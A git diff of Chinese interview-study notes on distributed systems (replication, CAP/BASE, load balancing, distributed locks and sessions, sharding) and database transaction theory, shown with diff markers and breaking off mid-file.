多个副本通常有一个为主副本,其它为备副本。主副本用来处理写请求,备副本主要用来处理读请求,实现读写分离。主副本将同步操作日志发送给备副本,备副本通过回放操作日志获取最新修改。
|
||||
|
||||
<div align="center"> <img src="../pics//44e4a7ab-215c-41a1-8e34-f55f6c09e517.jpg"/> </div><br>
|
||||
|
||||
主备副本之间有两种复制协议,一种是强同步复制协议,一种是异步复制协议。
|
||||
|
||||
## 强同步复制协议
|
||||
|
||||
要求主副本将同步操作日志发给备副本之后进行等待,要求至少一个备副本返回成功后,才开始修改主副本,修改完成之后通知客户端操作成功。
|
||||
|
||||
优点:至少有一个备副本拥有完整的数据,出现故障时可以安全地切换到该备副本,因此一致性好。
|
||||
|
||||
缺点:可用性差,因为主副本需要等待,那么整个分布式系统的可用时间就会降低。
|
||||
|
||||
## 异步复制协议
|
||||
|
||||
主副本将同步操作日志发给备副本之后不需要进行等待,直接修改主副本并通知客户端操作成功。
|
||||
|
||||
优点:可用性好。
|
||||
|
||||
缺点:一致性差。
|
||||
|
||||
# 五、CAP
|
||||
|
||||
分布式系统不可能同时满足一致性(C:Consistency)、可用性(A:Availability)和分区容忍性(P:Partition tolerance),最多只能同时满足其中两项。这三个概念上文中已经提到。
|
||||
|
||||
在设计分布式系统时,需要根据实际需求弱化某一要求。因此就有了下图中的三种设计:CA、CP 和 AP。
|
||||
|
||||
<div align="center"> <img src="../pics//992faced-afcf-414d-b801-9c16d6570fec.jpg" width="500"/> </div><br>
|
||||
|
||||
需要注意的是,分区容忍性必不可少,因为需要总是假设网络是不可靠的。因此实际上设计分布式系统需要在一致性和可用性之间做权衡。
|
||||
|
||||
# 六、BASE
|
||||
|
||||
BASE 是 Basically Available(基本可用)、Soft State(软状态)和 Eventually Consistent(最终一致性)三个短语的缩写。BASE 理论是对 CAP 中一致性和可用性权衡的结果,是基于 CAP 定理逐步演化而来的。BASE 理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
|
||||
|
||||
<div align="center"> <img src="../pics//5930aeb8-847d-4e9f-a168-9334d7dec744.png" width="250"/> </div><br>
|
||||
|
||||
## 基本可用
|
||||
|
||||
指分布式系统在出现故障的时候,保证核心可用,允许损失部分可用性。
|
||||
|
||||
例如,电商在做促销时,服务层可能只提供降级服务,部分用户可能会被引导到降级页面上。
|
||||
|
||||
## 软状态
|
||||
|
||||
指允许系统存在中间状态,而该中间状态不会影响系统整体可用性,即不同节点的数据副本之间进行同步的过程允许存在延时。
|
||||
|
||||
## 最终一致性
|
||||
|
||||
指所有的数据副本,在经过一段时间的同步之后,最终都能够达到一致的状态。
|
||||
|
||||
强一致性需要保证数据副本实时一致,而最终一致性只需要保证过一段时间是一致的。
|
||||
|
||||
ACID 是传统数据库系统常用的设计理论,追求强一致性模型。BASE 常用于大型分布式系统,只需要保证最终一致性。在实际的分布式场景中,不同业务单元和组件对一致性的要求是不同的,因此 ACID 和 BASE 往往会结合在一起使用。
|
||||
|
||||
# 七、容错
|
||||
|
||||
分布式系统故障发生的概率很大,为了实现高可用以及减少人工运维成本,需要实现自动化容错。
|
||||
|
||||
## 故障检测
|
||||
|
||||
通过 **租约机制** 来对故障进行检测。假设节点 A 为主控节点,节点 A 向节点 B 发送租约,节点 B 在租约规定的期限内才能提供服务。期限快到达时,节点 B 需要向 A 重新申请租约。
|
||||
|
||||
如果过期,那么 B 不再提供服务,并且 A 也能知道 B 此时可能发生故障并已经停止服务。可以看到,通过这种机制,A 和 B 都能对 B 发生故障这一事实达成一致。
|
||||
|
||||
## 故障恢复
|
||||
|
||||
当某个节点故障时,就将它上面的服务迁移到其它节点。
|
||||
|
||||
# 八、CDN 架构
|
||||
|
||||
通过将内容发布到靠近用户的边缘节点,使不同地域的用户在访问相同网页时可以就近获取。不仅可以减轻服务器的负担,也可以提高用户的访问速度。
|
||||
|
||||
从下图可以看出,DNS 在对域名解析时不再向用户返回源服务器的 IP 地址,而是返回边缘节点的 IP 地址,所以用户最终访问的是边缘节点。边缘节点会先从源服务器中获取用户所需的数据,如果请求成功,边缘节点会将页面缓存下来,下次用户访问时可以直接读取。
|
||||
|
||||
<div align="center"> <img src="../pics//dbd60b1f-b700-4da6-a993-62578e892333.jpg"/> </div><br>
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 杨传辉. 大规模分布式存储系统: 原理解析与架构实战[M]. 机械工业出版社, 2013.
|
329
notes/分布式问题分析.md
Normal file
@ -0,0 +1,329 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、谈谈业务中使用分布式的场景](#一谈谈业务中使用分布式的场景)
|
||||
* [二、分布式事务](#二分布式事务)
|
||||
* [产生原因](#产生原因)
|
||||
* [应用场景](#应用场景)
|
||||
* [解决方案](#解决方案)
|
||||
* [三、负载均衡的算法与实现](#三负载均衡的算法与实现)
|
||||
* [算法](#算法)
|
||||
* [实现](#实现)
|
||||
* [四、分布式锁](#四分布式锁)
|
||||
* [使用场景](#使用场景)
|
||||
* [实现方式](#实现方式)
|
||||
* [五、分布式 Session](#五分布式-session)
|
||||
* [1. Sticky Sessions](#1-sticky-sessions)
|
||||
* [2. Session Replication](#2-session-replication)
|
||||
* [3. Persistent DataStore](#3-persistent-datastore)
|
||||
* [4. In-Memory DataStore](#4-in-memory-datastore)
|
||||
* [六、分库与分表带来的分布式困境与应对之策](#六分库与分表带来的分布式困境与应对之策)
|
||||
* [事务问题](#事务问题)
|
||||
* [查询问题](#查询问题)
|
||||
* [ID 唯一性](#id-唯一性)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、谈谈业务中使用分布式的场景
|
||||
|
||||
分布式主要是为了提供可扩展性以及高可用性,业务中使用分布式的场景主要有分布式存储以及分布式计算。
|
||||
|
||||
分布式存储中可以将数据分片到多个节点上,不仅可以提高性能(可扩展性),同时也可以使用多个节点对同一份数据进行备份(高可用性)。
|
||||
|
||||
至于分布式计算,就是将一个大的计算任务分解成小任务分配到多个节点上去执行,再汇总每个小任务的执行结果得到最终结果。MapReduce 是分布式计算最好的例子。
|
||||
|
||||
# 二、分布式事务
|
||||
|
||||
指事务的操作位于不同的节点上,需要保证事务的 AICD 特性。
|
||||
|
||||
## 产生原因
|
||||
|
||||
- 数据库分库分表;
|
||||
- SOA 架构,比如一个电商网站将订单业务和库存业务分离出来放到不同的节点上。
|
||||
|
||||
## 应用场景
|
||||
|
||||
- 下单:减少库存、更新订单状态。库存和订单如果不在同一个数据库,就涉及分布式事务。
|
||||
- 支付:买家账户扣款、卖家账户入账。买家和卖家账户信息如果不在同一个数据库,就涉及分布式事务。
|
||||
|
||||
## 解决方案
|
||||
|
||||
### 1. 两阶段提交协议
|
||||
|
||||
> [两阶段提交](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E4%B8%80%E8%87%B4%E6%80%A7%E5%8D%8F%E8%AE%AE.md#%E4%B8%A4%E9%98%B6%E6%AE%B5%E6%8F%90%E4%BA%A4%E5%8D%8F%E8%AE%AE)
|
||||
|
||||
两阶段提交协议可以很好地解决分布式事务问题。它可以使用 XA 来实现,XA 包含两个部分:事务管理器和本地资源管理器。其中本地资源管理器往往由数据库实现,比如 Oracle、DB2 这些商业数据库都实现了 XA 接口;而事务管理器作为全局的协调者,负责各个本地资源的提交和回滚。
|
||||
|
||||
### 2. 消息中间件
|
||||
|
||||
消息中间件也可称作消息系统 (MQ),它本质上是一个暂存转发消息的一个中间件。在分布式应用当中,我们可以把一个业务操作转换成一个消息,比如支付宝的余额转入余额宝操作,支付宝系统执行减少余额操作之后向消息系统发送一个消息,余额宝系统订阅这条消息然后进行增加余额宝操作。
|
||||
|
||||
#### 2.1 消息处理模型
|
||||
|
||||
(一)消息队列
|
||||
|
||||
<div align="center"> <img src="../pics//96b63e13-e2d8-4ddb-9aa1-a38959ca96e5.jpg" width="700"/> </div><br>
|
||||
|
||||
(二)发布/订阅
|
||||
|
||||
<div align="center"> <img src="../pics//654acfed-a6a5-4fc7-8f40-3fdcae57bae8.jpg" width="700"/> </div><br>
|
||||
|
||||
|
||||
#### 2.2 消息的可靠性
|
||||
|
||||
(一)发送端的可靠性
|
||||
|
||||
发送端完成操作后一定能将消息成功发送到消息系统。
|
||||
|
||||
实现方法:在本地数据库建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息中间件,若转移消息成功则删除消息表中的数据,否则继续重传。
|
||||
|
||||
(二)接收端的可靠性
|
||||
|
||||
接收端能够从消息中间件成功消费一次消息。
|
||||
|
||||
实现方法:
|
||||
|
||||
- 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
|
||||
- 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。
|
||||
|
||||
# 三、负载均衡的算法与实现
|
||||
|
||||
## 算法
|
||||
|
||||
### 1. 轮询(Round Robin)
|
||||
|
||||
轮询算法把每个请求轮流发送到每个服务器上。下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后,(1, 3, 5) 的请求会被发送到服务器 1,(2, 4, 6) 的请求会被发送到服务器 2。
|
||||
|
||||
<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
|
||||
|
||||
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担多大的负载(下图的 Server 2)。
|
||||
|
||||
<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
|
||||
|
||||
### 2. 加权轮询(Weighted Round Robbin)
|
||||
|
||||
加权轮询是在轮询的基础上,根据服务器的性能差异,为服务器赋予一定的权值。例如下图中,服务器 1 被赋予的权值为 5,服务器 2 被赋予的权值为 1,那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1,(6) 请求会被发送到服务器 2。
|
||||
|
||||
<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
|
||||
|
||||
### 3. 最少连接(least Connections)
|
||||
|
||||
由于每个请求的连接时间不一样,使用轮询或者加权轮询算法的话,可能会让一台服务器当前连接数多大,而另一台服务器的连接多小,造成负载不均衡。例如下图中,(1, 3, 5) 请求会被发送到服务器 1,但是 (1, 3) 很快就断开连接,此时只有 (5) 请求连接服务器 1;(2, 4, 6) 请求被发送到服务器 2,只有 (2) 的连接断开。该系统继续运行时,服务器 2 会承担多大的负载。
|
||||
|
||||
<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
|
||||
|
||||
最少连接算法就是将请求发送给当前最少连接数的服务器上。例如下图中,服务器 1 当前连接数最小,那么新到来的请求 6 就会被发送到服务器 1 上。
|
||||
|
||||
<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
|
||||
|
||||
### 4. 加权最小连接(Weighted Least Connection)
|
||||
|
||||
在最小连接的基础上,根据服务器的性能为每台服务器分配权重,再根据权重计算出每台服务器能处理的连接数。
|
||||
|
||||
<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
|
||||
|
||||
### 5. 随机算法(Random)
|
||||
|
||||
把请求随机发送到服务器上。和轮询算法类似,该算法比较适合服务器性能差不多的场景。
|
||||
|
||||
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
|
||||
|
||||
### 6. 源地址哈希法 (IP Hash)
|
||||
|
||||
源地址哈希通过对客户端 IP 哈希计算得到的一个数值,用该数值对服务器数量进行取模运算,取模结果便是目标服务器的序号。
|
||||
|
||||
- 优点:保证同一 IP 的客户端都会被 hash 到同一台服务器上。
|
||||
- 缺点:不利于集群扩展,后台服务器数量变更都会影响 hash 结果。可以采用一致性 Hash 改进。
|
||||
|
||||
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
|
||||
|
||||
## 实现
|
||||
|
||||
### 1. HTTP 重定向
|
||||
|
||||
HTTP 重定向负载均衡服务器收到 HTTP 请求之后会返回服务器的地址,并将该地址写入 HTTP 重定向响应中返回给浏览器,浏览器收到后需要再次发送请求。
|
||||
|
||||
缺点:
|
||||
|
||||
- 用户访问的延迟会增加;
|
||||
- 如果负载均衡器宕机,就无法访问该站点。
|
||||
|
||||
<div align="center"> <img src="../pics//10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png"/> </div><br>
|
||||
|
||||
### 2. DNS 重定向
|
||||
|
||||
使用 DNS 作为负载均衡器,根据负载情况返回不同服务器的 IP 地址。大型网站基本使用了这种方式做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。
|
||||
|
||||
缺点:
|
||||
|
||||
- DNS 查找表可能会被客户端缓存起来,那么之后的所有请求都会被重定向到同一个服务器。
|
||||
|
||||
<div align="center"> <img src="../pics//f8b16d1e-7363-4544-94d6-4939fdf849dc.png"/> </div><br>
|
||||
|
||||
### 3. 修改 MAC 地址
|
||||
|
||||
使用 LVS(Linux Virtual Server)这种链路层负载均衡器,根据负载情况修改请求的 MAC 地址。
|
||||
|
||||
<div align="center"> <img src="../pics//f0e35b7a-2948-488a-a5a9-97d3f6b5e2d7.png"/> </div><br>
|
||||
|
||||
### 4. 修改 IP 地址
|
||||
|
||||
在网络层修改请求的目的 IP 地址。
|
||||
|
||||
<div align="center"> <img src="../pics//265a355d-aead-48aa-b455-f33b62fe729f.png"/> </div><br>
|
||||
|
||||
### 5. 代理自动配置
|
||||
|
||||
正向代理与反向代理的区别:
|
||||
|
||||
- 正向代理:发生在客户端,是由用户主动发起的。比如翻墙,客户端通过主动访问代理服务器,让代理服务器获得需要的外网数据,然后转发回客户端。
|
||||
- 反向代理:发生在服务器端,用户不知道代理的存在。
|
||||
|
||||
PAC 服务器是用来判断一个请求是否要经过代理。
|
||||
|
||||
<div align="center"> <img src="../pics//52e1af6f-3a7a-4bee-aa8f-fcb5dacebe40.jpg"/> </div><br>
|
||||
|
||||
# 四、分布式锁
|
||||
|
||||
Java 提供了两种内置的锁的实现,一种是由 JVM 实现的 synchronized 和 JDK 提供的 Lock,对于单机单进程应用,可以使用它们来实现锁。当应用涉及到多机、多进程共同完成时,那么这时候就需要一个全局锁来实现多个进程之间的同步。
|
||||
|
||||
## 使用场景
|
||||
|
||||
在服务器端使用分布式部署的情况下,一个服务可能分布在不同的节点上,比如订单服务分布在节点 A 和节点 B 上。如果多个客户端同时对一个服务进行请求时,就需要使用分布式锁。例如一个服务可以使用 APP 端或者 Web 端进行访问,如果一个用户同时使用 APP 端和 Web 端访问该服务,并且 APP 端的请求路由到了节点 A,WEB 端的请求被路由到了节点 B,这时候就需要使用分布式锁来进行同步。
|
||||
|
||||
## 实现方式
|
||||
|
||||
### 1. 数据库分布式锁
|
||||
|
||||
**(一)基于 MySQL 锁表**
|
||||
|
||||
该实现完全依靠数据库的唯一索引。当想要获得锁时,就向数据库中插入一条记录,释放锁时就删除这条记录。如果记录具有唯一索引,就不会同时插入同一条记录。
|
||||
|
||||
这种方式存在以下几个问题:
|
||||
|
||||
1. 锁没有失效时间,解锁失败会导致死锁,其他线程无法再获得锁。
|
||||
2. 只能是非阻塞锁,插入失败直接就报错了,无法重试。
|
||||
3. 不可重入,同一线程在没有释放锁之前无法再获得锁。
|
||||
|
||||
**(二)采用乐观锁增加版本号**
|
||||
|
||||
根据版本号来判断更新之前有没有其他线程更新过,如果被更新过,则获取锁失败。
|
||||
|
||||
### 2. Redis 分布式锁
|
||||
|
||||
**(一)基于 SETNX、EXPIRE**
|
||||
|
||||
使用 SETNX(set if not exist)命令插入一个键值对时,如果 Key 已经存在,那么会返回 False,否则插入成功并返回 True。因此客户端在尝试获得锁时,先使用 SETNX 向 Redis 中插入一个记录,如果返回 True 表示获得锁,返回 False 表示已经有客户端占用锁。
|
||||
|
||||
EXPIRE 可以为一个键值对设置一个过期时间,从而避免了死锁的发生。
|
||||
|
||||
**(二)RedLock 算法**
|
||||
|
||||
RedLock 算法使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时还可用。
|
||||
|
||||
1. 尝试从 N 个相互独立 Redis 实例获取锁,如果一个实例不可用,应该尽快尝试下一个。
|
||||
2. 计算获取锁消耗的时间,只有当这个时间小于锁的过期时间,并且从大多数(N/2+1)实例上获取了锁,那么就认为锁获取成功了。
|
||||
3. 如果锁获取失败,会到每个实例上释放锁。
|
||||
|
||||
### 3. Zookeeper 分布式锁
|
||||
|
||||
Zookeeper 是一个为分布式应用提供一致性服务的软件,例如配置管理、分布式协同以及命名的中心化等,这些都是分布式系统中非常底层而且是必不可少的基本功能,但是如果自己实现这些功能而且要达到高吞吐、低延迟同时还要保持一致性和可用性,实际上非常困难。
|
||||
|
||||
**(一)抽象模型**
|
||||
|
||||
Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点表示它的父节点为 /app1。
|
||||
|
||||
<div align="center"> <img src="../pics//31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
|
||||
|
||||
**(二)节点类型**
|
||||
|
||||
- 永久节点:不会因为会话结束或者超时而消失;
|
||||
- 临时节点:如果会话结束或者超时就会消失;
|
||||
- 有序节点:会在节点名的后面加一个数字后缀,并且是有序的,例如生成的有序节点为 /lock/node-0000000000,它的下一个有序节点则为 /lock/node-0000000001,依次类推。
|
||||
|
||||
**(三)监听器**
|
||||
|
||||
为一个节点注册监听器,在节点状态发生改变时,会给客户端发送消息。
|
||||
|
||||
**(四)分布式锁实现**
|
||||
|
||||
1. 创建一个锁目录 /lock。
|
||||
1. 在 /lock 下创建临时的且有序的子节点,第一个客户端对应的子节点为 /lock/lock-0000000000,第二个为 /lock/lock-0000000001,以此类推。
|
||||
2. 客户端获取 /lock 下的子节点列表,判断自己创建的子节点是否为当前子节点列表中序号最小的子节点,如果是则认为获得锁,否则监听自己的前一个子节点,获得子节点的变更通知后重复此步骤直至获得锁;
|
||||
3. 执行业务代码,完成后,删除对应的子节点。
|
||||
|
||||
**(五)会话超时**
|
||||
|
||||
如果一个已经获得锁的会话超时了,因为创建的是临时节点,因此该会话对应的临时节点会被删除,其它会话就可以获得锁了。可以看到,Zookeeper 分布式锁不会出现数据库分布式锁的死锁问题。
|
||||
|
||||
**(六)羊群效应**
|
||||
|
||||
在步骤二,一个节点未获得锁,需要监听监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应),而我们只希望它的后一个子节点收到通知。
|
||||
|
||||
# 五、分布式 Session
|
||||
|
||||
在分布式场景下,一个用户的 Session 如果只存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器上,该服务器没有用户的 Session,就可能导致用户需要重新进行登录等操作。
|
||||
|
||||
<div align="center"> <img src="../pics//cookiedata.png"/> </div><br>
|
||||
|
||||
## 1. Sticky Sessions
|
||||
|
||||
需要配置负载均衡器,使得一个用户的所有请求都路由到一个服务器节点上,这样就可以把用户的 Session 存放在该服务器节点中。
|
||||
|
||||
缺点:当服务器节点宕机时,将丢失该服务器节点上的所有 Session。
|
||||
|
||||
<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
|
||||
|
||||
## 2. Session Replication
|
||||
|
||||
在服务器节点之间进行 Session 同步操作,这样的话用户可以访问任何一个服务器节点。
|
||||
|
||||
缺点:需要更好的服务器硬件条件;需要对服务器进行配置。
|
||||
|
||||
<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
|
||||
|
||||
## 3. Persistent DataStore
|
||||
|
||||
将 Session 信息持久化到一个数据库中。
|
||||
|
||||
缺点:有可能需要去实现存取 Session 的代码。
|
||||
|
||||
<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
|
||||
|
||||
## 4. In-Memory DataStore
|
||||
|
||||
可以使用 Redis 和 Memcached 这种内存型数据库对 Session 进行存储,可以大大提高 Session 的读写效率。内存型数据库同样可以持久化数据到磁盘中来保证数据的安全性。
|
||||
|
||||
# 六、分库与分表带来的分布式困境与应对之策
|
||||
|
||||
<div align="center"> <img src="../pics//f3d3e072-e947-43e9-b999-22385fd569a0.jpg"/> </div><br>
|
||||
|
||||
## 事务问题
|
||||
|
||||
使用分布式事务。
|
||||
|
||||
## 查询问题
|
||||
|
||||
使用汇总表。
|
||||
|
||||
## ID 唯一性
|
||||
|
||||
- 使用全局唯一 ID:GUID。
|
||||
- 为每个分片指定一个 ID 范围。
|
||||
- 分布式 ID 生成器 (如 Twitter 的 [Snowflake](https://twitter.github.io/twitter-server/) 算法)。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
|
||||
- [负载均衡算法及手段](https://segmentfault.com/a/1190000004492447)
|
||||
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
|
||||
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
|
||||
- [Apache Wicket User Guide - Reference Documentation](https://ci.apache.org/projects/wicket/guide/6.x/)
|
||||
- [集群/分布式环境下 5 种 Session 处理策略](http://blog.csdn.net/u010028869/article/details/50773174?ref=myread)
|
||||
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
|
||||
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
|
||||
- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
|
||||
- [关于分布式事务](http://blog.csdn.net/suifeng3051/article/details/52691210)
|
||||
- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
|
||||
- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
|
||||
- [服务端指南 数据存储篇 | MySQL(09) 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL(09) 分库与分表带来的分布式困境与应对之策")
|
||||
- [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
|
2158
notes/剑指 offer 题解.md
638
notes/数据库系统原理.md
@ -1,330 +1,574 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [事务四大特性](#事务四大特性)
|
||||
* [原子性](#原子性)
|
||||
* [一致性](#一致性)
|
||||
* [隔离性](#隔离性)
|
||||
* [持久性](#持久性)
|
||||
* [数据不一致](#数据不一致)
|
||||
* [丢失修改](#丢失修改)
|
||||
* [读脏数据](#读脏数据)
|
||||
* [不可重复读](#不可重复读)
|
||||
* [隔离级别](#隔离级别)
|
||||
* [未提交读(READ UNCOMMITTED)](#未提交读read-uncommitted)
|
||||
* [提交读(READ COMMITTED)](#提交读read-committed)
|
||||
* [可重复读(REPEATABLE READ)](#可重复读repeatable-read)
|
||||
* [可串行化(SERIALIXABLE)](#可串行化serialixable)
|
||||
* [可串行化调度](#可串行化调度)
|
||||
* [封锁类型](#封锁类型)
|
||||
* [封锁粒度](#封锁粒度)
|
||||
* [封锁协议](#封锁协议)
|
||||
* [三级封锁协议](#三级封锁协议)
|
||||
* [两段锁协议](#两段锁协议)
|
||||
* [乐观锁和悲观锁](#乐观锁和悲观锁)
|
||||
* [悲观锁](#悲观锁)
|
||||
* [乐观锁](#乐观锁)
|
||||
* [MySQL 隐式和显示锁定](#mysql-隐式和显示锁定)
|
||||
* [范式](#范式)
|
||||
* [第一范式 (1NF)](#第一范式-1nf)
|
||||
* [第二范式 (2NF)](#第二范式-2nf)
|
||||
* [第三范式 (3NF)](#第三范式-3nf)
|
||||
* [BC 范式(BCNF)](#bc-范式bcnf)
|
||||
* [约束](#约束)
|
||||
* [键码](#键码)
|
||||
* [单值约束](#单值约束)
|
||||
* [引用完整性约束](#引用完整性约束)
|
||||
* [域约束](#域约束)
|
||||
* [一般约束](#一般约束)
|
||||
* [数据库的三层模式和两层映像](#数据库的三层模式和两层映像)
|
||||
* [外模式](#外模式)
|
||||
* [模式](#模式)
|
||||
* [内模式](#内模式)
|
||||
* [外模式/模式映像](#外模式模式映像)
|
||||
* [模式/内模式映像](#模式内模式映像)
|
||||
* [ER 图](#er-图)
|
||||
* [实体的三种联系](#实体的三种联系)
|
||||
* [表示出现多次的关系](#表示出现多次的关系)
|
||||
* [联系的多向性](#联系的多向性)
|
||||
* [表示子类](#表示子类)
|
||||
* [一些概念](#一些概念)
|
||||
* [一、事务](#一事务)
|
||||
* [概念](#概念)
|
||||
* [四大特性](#四大特性)
|
||||
* [二、并发一致性问题](#二并发一致性问题)
|
||||
* [问题](#问题)
|
||||
* [解决方法](#解决方法)
|
||||
* [三、封锁](#三封锁)
|
||||
* [封锁粒度](#封锁粒度)
|
||||
* [封锁类型](#封锁类型)
|
||||
* [封锁协议](#封锁协议)
|
||||
* [四、隔离级别](#四隔离级别)
|
||||
* [五、多版本并发控制](#五多版本并发控制)
|
||||
* [版本号](#版本号)
|
||||
* [Undo 日志](#undo-日志)
|
||||
* [实现过程](#实现过程)
|
||||
* [快照读与当前读](#快照读与当前读)
|
||||
* [六、Next-Key Locks](#六next-key-locks)
|
||||
* [Record Locks](#record-locks)
|
||||
* [Grap Locks](#grap-locks)
|
||||
* [Next-Key Locks](#next-key-locks)
|
||||
* [七、关系数据库设计理论](#七关系数据库设计理论)
|
||||
* [函数依赖](#函数依赖)
|
||||
* [异常](#异常)
|
||||
* [范式](#范式)
|
||||
* [八、数据库系统概述](#八数据库系统概述)
|
||||
* [基本术语](#基本术语)
|
||||
* [数据库的三层模式和两层映像](#数据库的三层模式和两层映像)
|
||||
* [九、关系数据库建模](#九关系数据库建模)
|
||||
* [ER 图](#er-图)
|
||||
* [十、约束](#十约束)
|
||||
* [1. 键码](#1-键码)
|
||||
* [2. 单值约束](#2-单值约束)
|
||||
* [3. 引用完整性约束](#3-引用完整性约束)
|
||||
* [4. 域约束](#4-域约束)
|
||||
* [5. 一般约束](#5-一般约束)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 事务四大特性
|
||||
# 一、事务
|
||||
|
||||
## 原子性
|
||||
## 概念
|
||||
|
||||
要么都执行,要么都不执行。
|
||||
<div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png"/> </div><br>
|
||||
|
||||
## 一致性
|
||||
事务指的是满足 ACID 特性的一系列操作。在数据库中,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。
|
||||
|
||||
## 四大特性
|
||||
|
||||
<div align="center"> <img src="../pics//09e6e8d4-4d83-4949-b908-6d6b4c2fd064.png"/> </div><br>
|
||||
|
||||
### 1. 原子性(Atomicity)
|
||||
|
||||
事务被视为不可分割的最小单元,要么全部提交成功,要么全部失败回滚。
|
||||
|
||||
### 2. 一致性(Consistency)
|
||||
|
||||
事务执行前后都保持一致性状态。在一致性状态下,所有事务对一个数据的读取结果都是相同的。
|
||||
|
||||
## 隔离性
|
||||
### 3. 隔离性(Isolation)
|
||||
|
||||
多个事务单独执行,互不影响。
|
||||
一个事务所做的修改在最终提交以前,对其它事务是不可见的。
|
||||
|
||||
## 持久性
|
||||
### 4. 持久性(Durability)
|
||||
|
||||
即使系统发生故障,事务执行的结果也不能丢失。持久性通过数据库备份和恢复来保证。
|
||||
一旦事务提交,则其所做的修改将会永远保存到数据库中。即使系统发生崩溃,事务执行的结果也不能丢失。可以通过数据库备份和恢复来保证持久性。
|
||||
|
||||
# 数据不一致
|
||||
# 二、并发一致性问题
|
||||
|
||||
## 丢失修改
|
||||
在并发环境下,一个事务如果受到另一个事务的影响,那么事务操作就无法满足一致性条件。
|
||||
|
||||
T<sub>1</sub> 和 T<sub>2</sub> 两个事务同时对一个数据进行修改,T<sub>1</sub> 先修改,T<sub>2</sub> 随后修改,T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
|
||||
## 问题
|
||||
|
||||
## 读脏数据
|
||||
### 1. 丢失修改
|
||||
|
||||
T<sub>1</sub> 做修改后写入数据库,T<sub>2</sub> 读取这个修改后的数据,但是如果 T<sub>1</sub> 撤销了这次修改,使得 T<sub>2</sub> 读取的数据是脏数据。
|
||||
T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改,T<sub>1</sub> 先修改,T<sub>2</sub> 随后修改,T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
|
||||
|
||||
## 不可重复读
|
||||
<div align="center"> <img src="../pics//88ff46b3-028a-4dbb-a572-1f062b8b96d3.png"/> </div><br>
|
||||
|
||||
T<sub>1</sub> 读入某个数据,T<sub>2</sub> 对该数据做了修改,如果 T<sub>1</sub> 再读这个数据,该数据已经改变,和最开始读入的是不一样的。
|
||||
### 2. 读脏数据
|
||||
|
||||
# 隔离级别
|
||||
T<sub>1</sub> 修改一个数据,T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改,那么 T<sub>2</sub> 读取的数据是脏数据。
|
||||
|
||||
数据库管理系统需要防止数据出现不一致,并且有多种级别可以实现,这些级别称为隔离级别。
|
||||
<div align="center"> <img src="../pics//dd782132-d830-4c55-9884-cfac0a541b8e.png"/> </div><br>
|
||||
|
||||
## 未提交读(READ UNCOMMITTED)
|
||||
### 3. 不可重复读
|
||||
|
||||
一个事务可以读取自己的未提交数据,也被称为脏读。
|
||||
